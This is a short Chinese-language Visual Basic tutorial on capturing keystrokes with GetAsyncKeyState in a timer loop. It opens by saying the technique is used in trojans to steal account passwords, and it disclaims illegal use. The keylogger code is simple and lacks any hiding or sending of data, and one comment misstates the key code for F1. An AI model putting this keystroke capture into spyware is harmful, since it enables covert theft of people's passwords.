1.檢測按鍵碼

通常這項技術運用在特洛伊木馬上面

竊取使用者帳號密碼

畢竟要先學會保護得先學會破解!!

不過不鼓勵用做非法事情,請當學習用

放到Timer裡面 Interval 設定1

Key = GetAsyncKeyState(112) '122 是ASCII碼 = F1  或是112改成vbKeyF1 也可以
If Key = -32767 Then  '如果按下F1
AddKey = "[F1]" '這個變數=F1
GoTo AddText  '用這個是為了方便 否則每一個判斷都要加上 Text1 = text1 & AddKey
End If

AddText:
Text1 = Text1 & AddKey

有人會問為什麼不使用 If GetAsyncKeyState(112) then

答案很簡單 因為間隔設定1 所以 如果按下 他會跑出很多的F1 我們按下彈起同時 就經過幾豪秒了

所以他會重複寫入 

用這樣方式寫 比較好

aKey = 41

Do Until aKey = 256   '若aKey = 256 跳出迴圈
Key = GetAsyncKeyState(aKey)  
If Key = -32767 Then Text1.Text = Text1.Text & Chr(aKey) 'Chr是指取ASCII碼 取得其他英數字的值
aKey = aKey + 1
Loop

切忌!!這段一定要放在最後面

因為這段是為了顯示其他碼的值

因為所有編譯器 都是逐行執行,一行一行執行,他先執行到 就不會顯示我們之前打的值了

這段如果懂Do...Loop迴圈的 一定看得懂

在Timer2裡面新增一段代碼

TimeOut = 0    '重新整理

2.開始編寫代碼

放入一個Text

兩個Timer

記得!!

Text的MultiLine要設為True

代碼Text可多行顯示
